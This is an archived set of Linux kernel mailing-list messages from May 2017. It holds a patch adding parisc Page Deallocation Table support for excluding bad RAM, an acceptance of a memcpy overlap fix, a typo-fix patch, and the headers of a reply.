Envelope-to: lnx-linux-ide@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ide-owner@vger.kernel.org>)
	id 1d7qLG-0007qC-GJ
	for lnx-linux-ide@m.gmane.org; Mon, 08 May 2017 23:37:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751546AbdEHVhY (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
        Mon, 8 May 2017 17:37:24 -0400
Original-Received: from shards.monkeyblade.net ([184.105.139.130]:41622 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751061AbdEHVhX (ORCPT
        <rfc822;linux-ide@vger.kernel.org>); Mon, 8 May 2017 17:37:23 -0400
Original-Received: from localhost (cpe-66-108-81-97.nyc.res.rr.com [66.108.81.97])
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id 8AB90121BAC0C;
        Mon,  8 May 2017 13:55:53 -0700 (PDT)
In-Reply-To: <alpine.LRH.2.02.1704141433280.10706@file01.intranet.prod.int.rdu2.redhat.com>
X-Mailer: Mew version 6.7 on Emacs 25.1 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Mon, 08 May 2017 13:55:54 -0700 (PDT)
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:63504 gmane.linux.kernel:2470979 gmane.linux.ports.parisc:27406
Archived-At: <http://permalink.gmane.org/gmane.linux.ide/63504>

From: Mikulas Patocka <mpatocka@redhat.com>
Date: Fri, 14 Apr 2017 14:35:33 -0400 (EDT)

> The parisc architecture recently reimplemented the memcpy function and
> their reimplementation crashed when source and destination overlapped.
> 
> The crash happened in the function ide_complete_cmd where memcpy is called
> with the same source and destination pointer. According to the C
> specification, memcpy behavior is undefined if the source and destination
> range overlaps. This patches fixes the undefined behavior.
> 
> Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>

Applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add Page Deallocation Table (PDT) support
Date: Thu, 11 May 2017 22:24:15 +0200
Lines: 485
Approved: news@gmane.org
Message-ID: <20170511202415.GA1771@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1494534267 11038 195.159.176.226 (11 May 2017 20:24:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 11 May 2017 20:24:27 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 11 22:24:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1d8udI-000286-Uz
	for glpp-linux-parisc@m.gmane.org; Thu, 11 May 2017 22:24:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755003AbdEKUY0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 11 May 2017 16:24:26 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:55267 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751319AbdEKUYZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 11 May 2017 16:24:25 -0400
Original-Received: from p100.box ([193.159.24.82]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Lck9X-1dqXVW42Rr-00k473; Thu, 11
 May 2017 22:24:18 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:XC2CGN/9vTKPb44icvvCGEbVihXVGPwmaIpGkjMhNq4cfEY00Qr
 eqY3JEu9Ri29AyP8rdfeSDv+scdwRFL1TTcy+jE0GUxndXR2ygRvilqMscjvF7Hzo3z7HN/
 OGZKd8kjJcPvWJrJzIYQcyAHOvENS5VqdtmEX2eZgKGfBoXnl1e7oq4RbJN5Xyr+J1rp9n9
 DBRYZfdcNJZad6Fgi/8iA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:uaXFufBlMOg=:Hq7cZA/6HOmlHsoMqviMjZ
 v5TbVSSLUSCHOLmANdeP2ojOeC+TACFWMesHI2uppyYH2AInJaH4wH2Ww577/9PRvJK94aWrh
 0JcOHDay7ncdwaL7z13DeHjZLhVFZ4fGU3P4KbEpgFi7dCvBrZhW8kqrRqHDgc6VhmtQ8+PAc
 3hWEhfASS2YlziVBlDU132YLx5oV6uocjM+g5DRHzeJb9InEvCr8/ugJuXsU67MzLzr//G2gJ
 iscsU5EfNezr5hy3ZS+lvifADbMsyCBGlyb4WfAwn/pcEqlaaFKjYk0DUD/AwhzNwvCeju0cB
 wT2w6tQInhpHhjubcAKRl9iO4t00fBl9n0BMagJ7aCR+u/8qGYZtixMeAo/V6iZpUB5QbmVJL
 RdOoEev8HySfKC+uRdFj+7n1BRNX4VrKZDKOaZS4irpqG3BlLs0POOZAtkjZ1zfzjOJixy2Ee
 Fx6GONA+X5u+jtX1ZX6ZJBmpsun2yugMtSQksWC8s0q7BGFlVZIA3Zs0ccOJhi0Am+BsC+VxJ
 tXkOsHrSYekgGE8qvrEmbGhRRgum9ujTFjMC37ecyBQd/FSHbzub0btiixaVrU0ORXhxob+KF
 Vn+QIfDmHn6R+p1qpVsud+aYGbUyTj7R1D4dMPXZ/h/6KxZNhxPwWYIl+Uyg5x9Im6t3mYSiG
 T6avDY3PjAG31xvADaxPoGMm30ekIk0dFwS8i83khh2PllBTPRAQ6UrcfPos1Uz8tUwr/x1lN
 edP9iluyP7L2scrLZ+kvsuvcSU1t5721+5881Ao4aZscpxj/+uZivSpNIvg=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27407
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27407>

The firmare in most parisc machines maintains a Page Deallocation Table (PDT)
which holds a list of physical memory addresses where hardware detected memory
errors (single bit and double bit errors).

This patch adds the missing PDC firmware calls and the logic to read the PDT
from firmware, report all current PDT entries and exclude the reported bad
memory from being used by Linux.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pdc.h
index 451906d..7569627 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -6,6 +6,8 @@
 #if !defined(__ASSEMBLY__)
 
 extern int pdc_type;
+extern unsigned long parisc_cell_num; /* cell number the CPU runs on (PAT) */
+extern unsigned long parisc_cell_loc; /* cell location of CPU (PAT)	   */
 
 /* Values for pdc_type */
 #define PDC_TYPE_ILLEGAL	-1
@@ -143,6 +145,18 @@ struct pdc_btlb_info {	/* PDC_BLOCK_TLB, return of PDC_BTLB_INFO */
 
 #endif /* !CONFIG_PA20 */
 
+struct pdc_mem_retinfo { /* PDC_MEM/PDC_MEM_MEMINFO (return info) */
+	unsigned long pdt_size;
+	unsigned long pdt_entries;
+	unsigned long pdt_status;
+	unsigned long first_dbe_loc;
+	unsigned long good_mem;
+};
+
+struct pdc_mem_read_pdt { /* PDC_MEM/PDC_MEM_READ_PDT (return info) */
+	unsigned long pdt_entries;
+};
+
 #ifdef CONFIG_64BIT
 struct pdc_memory_table_raddr { /* PDC_MEM/PDC_MEM_TABLE (return info) */
 	unsigned long entries_returned;
@@ -301,6 +315,10 @@ int pdc_get_initiator(struct hardware_path *, struct pdc_initiator *);
 int pdc_tod_read(struct pdc_tod *tod);
 int pdc_tod_set(unsigned long sec, unsigned long usec);
 
+void pdc_pdt_init(void);	/* in pdt.c */
+int pdc_mem_pdt_info(struct pdc_mem_retinfo *rinfo);
+int pdc_mem_pdt_read_entries(struct pdc_mem_read_pdt *rpdt_read,
+		unsigned long *pdt_entries_ptr);
 #ifdef CONFIG_64BIT
 int pdc_mem_mem_table(struct pdc_memory_table_raddr *r_addr,
 		struct pdc_memory_table *tbl, unsigned long entries);
diff --git a/arch/parisc/include/asm/pdcpat.h b/arch/parisc/include/asm/pdcpat.h
index e1d2890..32e105f 100644
--- a/arch/parisc/include/asm/pdcpat.h
+++ b/arch/parisc/include/asm/pdcpat.h
@@ -147,9 +147,9 @@
 #define PDC_PAT_MEM_CELL_CLEAR  	6L /* Clear PDT For Cell           */
 #define PDC_PAT_MEM_CELL_READ   	7L /* Read PDT entries For Cell    */
 #define PDC_PAT_MEM_CELL_RESET  	8L /* Reset clear bit For Cell     */
-#define PDC_PAT_MEM_SETGM	  	9L /* Set Golden Memory value      */
-#define PDC_PAT_MEM_ADD_PAGE    	10L /* ADDs a page to the cell      */
-#define PDC_PAT_MEM_ADDRESS     	11L /* Get Physical Location From   */
+#define PDC_PAT_MEM_SETGM		9L /* Set Good Memory value        */
+#define PDC_PAT_MEM_ADD_PAGE		10L /* ADDs a page to the cell      */
+#define PDC_PAT_MEM_ADDRESS		11L /* Get Physical Location From   */
                                     		 /* Memory Address               */
 #define PDC_PAT_MEM_GET_TXT_SIZE   	12L /* Get Formatted Text Size   */
 #define PDC_PAT_MEM_GET_PD_TXT     	13L /* Get PD Formatted Text     */
@@ -212,6 +212,23 @@ struct pdc_pat_cpu_num {
 	unsigned long cpu_loc;
 };
 
+struct pdc_pat_mem_retinfo { /* PDC_PAT_MEM/PDC_PAT_MEM_PD_INFO (return info) */
+	unsigned int ke;	/* bit 0: memory inside good memory? */
+	unsigned int current_pdt_entries:16;
+	unsigned int max_pdt_entries:16;
+	unsigned long Cs_bitmap;
+	unsigned long Ic_bitmap;
+	unsigned long good_mem;
+	unsigned long first_dbe_loc; /* first location of double bit error */
+	unsigned long clear_time; /* last PDT clear time (since Jan 1970) */
+};
+
+struct pdc_pat_mem_read_pd_retinfo { /* PDC_PAT_MEM/PDC_PAT_MEM_PD_READ */
+	unsigned long actual_count_bytes;
+	unsigned long pdt_entries;
+};
+
+
 struct pdc_pat_pd_addr_map_entry {
 	unsigned char entry_type;       /* 1 = Memory Descriptor Entry Type */
 	unsigned char reserve1[5];
@@ -293,15 +310,15 @@ extern int pdc_pat_cpu_get_number(struct pdc_pat_cpu_num *cpu_info, unsigned lon
 
 extern int pdc_pat_pd_get_addr_map(unsigned long *actual_len, void *mem_addr, unsigned long count, unsigned long offset);
 
-
 extern int pdc_pat_io_pci_cfg_read(unsigned long pci_addr, int pci_size, u32 *val); 
 extern int pdc_pat_io_pci_cfg_write(unsigned long pci_addr, int pci_size, u32 val); 
 
-
-/* Flag to indicate this is a PAT box...don't use this unless you
-** really have to...it might go away some day.
-*/
-extern int pdc_pat;     /* arch/parisc/kernel/inventory.c */
+extern int pdc_pat_mem_pdt_info(struct pdc_pat_mem_retinfo *rinfo);
+extern int pdc_pat_mem_read_cell_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
+		unsigned long *pdt_entries_ptr, unsigned long max_entries);
+extern int pdc_pat_mem_read_pd_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
+		unsigned long *pdt_entries_ptr, unsigned long count,
+		unsigned long offset);
 
 #endif /* __ASSEMBLY__ */
 
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 3a4ed9f..71ca86c 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -511,6 +511,9 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 
 #define pte_same(A,B)	(pte_val(A) == pte_val(B))
 
+struct seq_file;
+extern void arch_report_meminfo(struct seq_file *m);
+
 #endif /* !__ASSEMBLY__ */
 
 
diff --git a/arch/parisc/include/uapi/asm/pdc.h b/arch/parisc/include/uapi/asm/pdc.h
index 0609ff1..1f30b49 100644
--- a/arch/parisc/include/uapi/asm/pdc.h
+++ b/arch/parisc/include/uapi/asm/pdc.h
@@ -131,12 +131,12 @@
 #define PDC_TLB_SETUP		1	/* set up miss handling 	*/
 
 #define PDC_MEM		20		/* Manage memory		*/
-#define PDC_MEM_MEMINFO		0
-#define PDC_MEM_ADD_PAGE	1
-#define PDC_MEM_CLEAR_PDT	2
-#define PDC_MEM_READ_PDT	3
-#define PDC_MEM_RESET_CLEAR	4
-#define PDC_MEM_GOODMEM		5
+#define PDC_MEM_MEMINFO		0	/* Return PDT info		*/
+#define PDC_MEM_ADD_PAGE	1	/* Add page to PDT		*/
+#define PDC_MEM_CLEAR_PDT	2	/* Clear PDT			*/
+#define PDC_MEM_READ_PDT	3	/* Read PDT entry		*/
+#define PDC_MEM_RESET_CLEAR	4	/* Reset PDT clear flag		*/
+#define PDC_MEM_GOODMEM		5	/* Set good_mem value		*/
 #define PDC_MEM_TABLE		128	/* Non contig mem map (sprockets) */
 #define PDC_MEM_RETURN_ADDRESS_TABLE	PDC_MEM_TABLE
 #define PDC_MEM_GET_MEMORY_SYSTEM_TABLES_SIZE	131
diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index 69a1118..c4294df 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -4,7 +4,7 @@
 
 extra-y			:= head.o vmlinux.lds
 
-obj-y	     	:= cache.o pacache.o setup.o traps.o time.o irq.o \
+obj-y	     	:= cache.o pacache.o setup.o pdt.o traps.o time.o irq.o \
 		   pa7300lc.o syscall.o entry.o sys_parisc.o firmware.o \
 		   ptrace.o hardware.o inventory.o drivers.o \
 		   signal.o hpmc.o real2.o parisc_ksyms.o unaligned.o \
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 9d797ae..9819025 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -957,6 +957,41 @@ int pdc_tod_read(struct pdc_tod *tod)
 }
 EXPORT_SYMBOL(pdc_tod_read);
 
+int pdc_mem_pdt_info(struct pdc_mem_retinfo *rinfo)
+{
+	int retval;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_lock, flags);
+	retval = mem_pdc_call(PDC_MEM, PDC_MEM_MEMINFO, __pa(pdc_result), 0);
+	convert_to_wide(pdc_result);
+	memcpy(rinfo, pdc_result, sizeof(*rinfo));
+	spin_unlock_irqrestore(&pdc_lock, flags);
+
+	return retval;
+}
+
+int pdc_mem_pdt_read_entries(struct pdc_mem_read_pdt *pret,
+		unsigned long *pdt_entries_ptr)
+{
+	int retval;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_lock, flags);
+	retval = mem_pdc_call(PDC_MEM, PDC_MEM_READ_PDT, __pa(pdc_result),
+			__pa(pdc_result2));
+	if (retval == PDC_OK) {
+		convert_to_wide(pdc_result);
+		memcpy(pret, pdc_result, sizeof(*pret));
+		convert_to_wide(pdc_result2);
+		memcpy(pdt_entries_ptr, pdc_result2,
+			pret->pdt_entries * sizeof(*pdt_entries_ptr));
+	}
+	spin_unlock_irqrestore(&pdc_lock, flags);
+
+	return retval;
+}
+
 /**
  * pdc_tod_set - Set the Time-Of-Day clock.
  * @sec: The number of seconds since epoch.
@@ -1383,6 +1418,79 @@ int pdc_pat_io_pci_cfg_write(unsigned long pci_addr, int pci_size, u32 val)
 
 	return retval;
 }
+
+/**
+ * pdc_pat_mem_pdc_info - Retrieve information about page deallocation table
+ * @rinfo: memory pdt information
+ *
+ */
+int pdc_pat_mem_pdt_info(struct pdc_pat_mem_retinfo *rinfo)
+{
+	int retval;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_lock, flags);
+	retval = mem_pdc_call(PDC_PAT_MEM, PDC_PAT_MEM_PD_INFO,
+			__pa(&pdc_result));
+	if (retval == PDC_OK)
+		memcpy(rinfo, &pdc_result, sizeof(*rinfo));
+	spin_unlock_irqrestore(&pdc_lock, flags);
+
+	return retval;
+}
+
+/**
+ * pdc_pat_mem_read_cell_pdt - Read PDT entries from (old) PAT firmware
+ * @pret: array of PDT entries
+ * @pdt_entries_ptr: ptr to hold number of PDT entries
+ * @max_entries: maximum number of entries to be read
+ *
+ */
+int pdc_pat_mem_read_cell_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
+		unsigned long *pdt_entries_ptr, unsigned long max_entries)
+{
+	int retval;
+	unsigned long flags, entries;
+
+	spin_lock_irqsave(&pdc_lock, flags);
+	/* PDC_PAT_MEM_CELL_READ is available on early PAT machines only */
+	retval = mem_pdc_call(PDC_PAT_MEM, PDC_PAT_MEM_CELL_READ,
+			__pa(&pdc_result), parisc_cell_num, __pa(&pdc_result2));
+
+	if (retval == PDC_OK) {
+		/* build up return value as for PDC_PAT_MEM_PD_READ */
+		entries = min(pdc_result[0], max_entries);
+		pret->pdt_entries = entries;
+		pret->actual_count_bytes = entries * sizeof(unsigned long);
+		memcpy(pdt_entries_ptr, &pdc_result2, pret->actual_count_bytes);
+	}
+
+	spin_unlock_irqrestore(&pdc_lock, flags);
+	WARN_ON(retval == PDC_OK && pdc_result[0] > max_entries);
+
+	return retval;
+}
+/**
+ * pdc_pat_mem_read_pd_pdt - Read PDT entries from (newer) PAT firmware
+ * @pret: array of PDT entries
+ * @pdt_entries_ptr: ptr to hold number of PDT entries
+ *
+ */
+int pdc_pat_mem_read_pd_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
+		unsigned long *pdt_entries_ptr, unsigned long count,
+		unsigned long offset)
+{
+	int retval;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pdc_lock, flags);
+	retval = mem_pdc_call(PDC_PAT_MEM, PDC_PAT_MEM_PD_READ,
+		__pa(&pret), __pa(pdt_entries_ptr),
+		count, offset);
+	spin_unlock_irqrestore(&pdc_lock, flags);
+
+	return retval;
+}
 #endif /* CONFIG_64BIT */
 
 
diff --git a/arch/parisc/kernel/inventory.c b/arch/parisc/kernel/inventory.c
index c9789d9..b0fe19a 100644
--- a/arch/parisc/kernel/inventory.c
+++ b/arch/parisc/kernel/inventory.c
@@ -40,6 +40,11 @@
 
 int pdc_type __read_mostly = PDC_TYPE_ILLEGAL;
 
+/* cell number and location (PAT firmware only) */
+unsigned long parisc_cell_num __read_mostly;
+unsigned long parisc_cell_loc __read_mostly;
+
+
 void __init setup_pdc(void)
 {
 	long status;
@@ -78,6 +83,10 @@ void __init setup_pdc(void)
 	if (status == PDC_OK) {
 		pdc_type = PDC_TYPE_PAT;
 		pr_cont("64 bit PAT.\n");
+		parisc_cell_num = cell_info.cell_num;
+		parisc_cell_loc = cell_info.cell_loc;
+		pr_info("PAT: Running on cell %lu and location %lu.\n",
+			parisc_cell_num, parisc_cell_loc);
 		return;
 	}
 #endif
diff --git a/arch/parisc/kernel/pdt.c b/arch/parisc/kernel/pdt.c
new file mode 100644
index 0000000..fcc895a
--- /dev/null
+++ b/arch/parisc/kernel/pdt.c
@@ -0,0 +1,141 @@
+/*
+ *    Page Deallocation Table (PDT) support
+ *
+ *    The Page Deallocation Table (PDT) holds a table with pointers to bad
+ *    memory (broken RAM modules) which is maintained by firmware.
+ *
+ *    Copyright 2017 by Helge Deller <deller@gmx.de>
+ *
+ *    TODO:
+ *    - check regularily for new bad memory
+ *    - add userspace interface with procfs or sysfs
+ *    - increase number of PDT entries dynamically
+ */
+
+#include <linux/memblock.h>
+#include <linux/seq_file.h>
+
+#include <asm/pdc.h>
+#include <asm/pdcpat.h>
+#include <asm/sections.h>
+#include <asm/pgtable.h>
+
+enum pdt_access_type {
+	PDT_NONE,
+	PDT_PDC,
+	PDT_PAT_NEW,
+	PDT_PAT_OLD
+};
+
+static enum pdt_access_type pdt_type;
+
+/* global PDT status information */
+static struct pdc_mem_retinfo pdt_status;
+
+#define MAX_PDT_TABLE_SIZE	PAGE_SIZE
+#define MAX_PDT_ENTRIES		(MAX_PDT_TABLE_SIZE / sizeof(unsigned long))
+static unsigned long pdt_entry[MAX_PDT_ENTRIES] __page_aligned_bss;
+
+
+/* report PDT entries via /proc/meminfo */
+void arch_report_meminfo(struct seq_file *m)
+{
+	if (pdt_type == PDT_NONE)
+		return;
+
+	seq_printf(m, "PDT max entries: %7lu\n",
+			pdt_status.pdt_size);
+	seq_printf(m, "PDT entries    : %7lu\n",
+			pdt_status.pdt_entries);
+}
+
+/*
+ * pdc_pdt_init()
+ *
+ * Initialize kernel PDT structures, read initial PDT table from firmware,
+ * report all current PDT entries and mark bad memory with memblock_reserve()
+ * to avoid that the kernel will use broken memory areas.
+ *
+ */
+void __init pdc_pdt_init(void)
+{
+	int ret, i;
+	unsigned long entries;
+	struct pdc_mem_read_pdt pdt_read_ret;
+
+	if (is_pdc_pat()) {
+		struct pdc_pat_mem_retinfo pat_rinfo;
+
+		pdt_type = PDT_PAT_NEW;
+		ret = pdc_pat_mem_pdt_info(&pat_rinfo);
+		pdt_status.pdt_size = pat_rinfo.max_pdt_entries;
+		pdt_status.pdt_entries = pat_rinfo.current_pdt_entries;
+		pdt_status.pdt_status = 0;
+		pdt_status.first_dbe_loc = pat_rinfo.first_dbe_loc;
+		pdt_status.good_mem = pat_rinfo.good_mem;
+	} else {
+		pdt_type = PDT_PDC;
+		ret = pdc_mem_pdt_info(&pdt_status);
+	}
+
+	if (ret != PDC_OK) {
+		pdt_type = PDT_NONE;
+		pr_info("PDT: Firmware does not provide any page deallocation"
+			" information.\n");
+		return;
+	}
+
+	entries = pdt_status.pdt_entries;
+	WARN_ON(entries > MAX_PDT_ENTRIES);
+
+	pr_info("PDT: size = %lu, entries = %lu, status = %lu, dbe_loc = 0x%lx,"
+		" good_mem = %lu\n",
+			pdt_status.pdt_size, pdt_status.pdt_entries,
+			pdt_status.pdt_status, pdt_status.first_dbe_loc,
+			pdt_status.good_mem);
+
+	if (entries == 0) {
+		pr_info("PDT: Firmware reports no faulty memory.\n");
+		return;
+	}
+
+	if (pdt_status.first_dbe_loc &&
+		pdt_status.first_dbe_loc <= __pa((unsigned long)&_end))
+		pr_crit("CRITICAL: Bad memory inside kernel memory area!\n");
+
+	pr_warn("PDT: Firmware reports %lu entries of faulty memory:\n",
+		entries);
+
+	if (pdt_type == PDT_PDC)
+		ret = pdc_mem_pdt_read_entries(&pdt_read_ret, pdt_entry);
+	else {
+#ifdef CONFIG_64BIT
+		struct pdc_pat_mem_read_pd_retinfo pat_pret;
+
+		ret = pdc_pat_mem_read_cell_pdt(&pat_pret, pdt_entry,
+			MAX_PDT_ENTRIES);
+		if (ret != PDC_OK) {
+			pdt_type = PDT_PAT_OLD;
+			ret = pdc_pat_mem_read_pd_pdt(&pat_pret, pdt_entry,
+				MAX_PDT_TABLE_SIZE, 0);
+		}
+#else
+		ret = PDC_BAD_PROC;
+#endif
+	}
+
+	if (ret != PDC_OK) {
+		pdt_type = PDT_NONE;
+		pr_debug("PDT type %d, retval = %d\n", pdt_type, ret);
+		return;
+	}
+
+	for (i = 0; i < pdt_status.pdt_entries; i++) {
+		pr_warn("PDT: BAD PAGE at 0x%08lx (error_tye = %lu)\n",
+			pdt_entry[i] & PAGE_MASK,
+			pdt_entry[i] & 1);
+
+		/* mark memory page bad */
+		memblock_reserve(pdt_entry[i] & PAGE_MASK, PAGE_SIZE);
+	}
+}
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 66f3a63..1ca9a2b 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -381,6 +381,9 @@ static void __init setup_bootmem(void)
 		request_resource(res, &data_resource);
 	}
 	request_resource(&sysram_resources[0], &pdcdata_resource);
+
+	/* Initialize Page Deallocation Table (PDT) and check for bad memory. */
+	pdc_pdt_init();
 }
 
 static int __init parisc_text_address(unsigned long vaddr)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Colin King <colin.king@canonical.com>
Newsgroups: gmane.linux.kernel.janitors,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: fix spelling mistake: "page_tye" -> "page_type"
Date: Fri, 12 May 2017 06:50:28 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20170512055028.3030-1-colin.king@canonical.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1494568232 24141 195.159.176.226 (12 May 2017 05:50:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 May 2017 05:50:32 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org, linux-kernel@vger.kernel.org
To: "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
Original-X-From: kernel-janitors-owner@vger.kernel.org Fri May 12 07:50:26 2017
Return-path: <kernel-janitors-owner@vger.kernel.org>
Envelope-to: glkj-kernel-janitors-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <kernel-janitors-owner@vger.kernel.org>)
	id 1d93T8-0005SY-As
	for glkj-kernel-janitors-2@m.gmane.org; Fri, 12 May 2017 07:50:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756201AbdELFub (ORCPT
        <rfc822;glkj-kernel-janitors-2@m.gmane.org>);
        Fri, 12 May 2017 01:50:31 -0400
Original-Received: from youngberry.canonical.com ([91.189.89.112]:34880 "EHLO
        youngberry.canonical.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755124AbdELFua (ORCPT
        <rfc822;kernel-janitors@vger.kernel.org>);
        Fri, 12 May 2017 01:50:30 -0400
Original-Received: from cpc104592-craw8-2-0-cust106.16-3.cable.virginm.net ([82.33.165.107] helo=localhost)
        by youngberry.canonical.com with esmtpsa (TLS1.0:RSA_AES_256_CBC_SHA1:32)
        (Exim 4.76)
        (envelope-from <colin.king@canonical.com>)
        id 1d93TA-0006pm-Ay; Fri, 12 May 2017 05:50:28 +0000
X-Mailer: git-send-email 2.11.0
Original-Sender: kernel-janitors-owner@vger.kernel.org
Precedence: bulk
List-ID: <kernel-janitors.vger.kernel.org>
X-Mailing-List: kernel-janitors@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.janitors:44385 gmane.linux.ports.parisc:27408 gmane.linux.kernel:2473542
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.janitors/44385>

From: Colin Ian King <colin.king@canonical.com>

Trivial fix to spelling mistake in a pr_warn message.

Signed-off-by: Colin Ian King <colin.king@canonical.com>
---
 arch/parisc/kernel/pdt.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/kernel/pdt.c b/arch/parisc/kernel/pdt.c
index 261e134ee7f8..6362614c5160 100644
--- a/arch/parisc/kernel/pdt.c
+++ b/arch/parisc/kernel/pdt.c
@@ -131,7 +131,7 @@ void __init pdc_pdt_init(void)
 	}
 
 	for (i = 0; i < pdt_status.pdt_entries; i++) {
-		pr_warn("PDT: BAD PAGE at 0x%08lx (error_tye = %lu)\n",
+		pr_warn("PDT: BAD PAGE at 0x%08lx (error_type = %lu)\n",
 			pdt_entry[i] & PAGE_MASK,
 			pdt_entry[i] & 1);
 
-- 
2.11.0

--
To unsubscribe from this list: send the line "unsubscribe kernel-janitors" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.janitors,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix spelling mistake: "page_tye" -> "page_type"
Date: Fri, 12 May 2017 09:16:00 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <99ebb069-a0da-db2a-3934-ae53b6fe897c@gmx.de>
References: <20170512055028.3030-1-colin.king@canonical.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1494573372 18311 195.159.176.226 (12 May 2017 07:16:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 May 2017 07:16:12 +0000 (UTC)
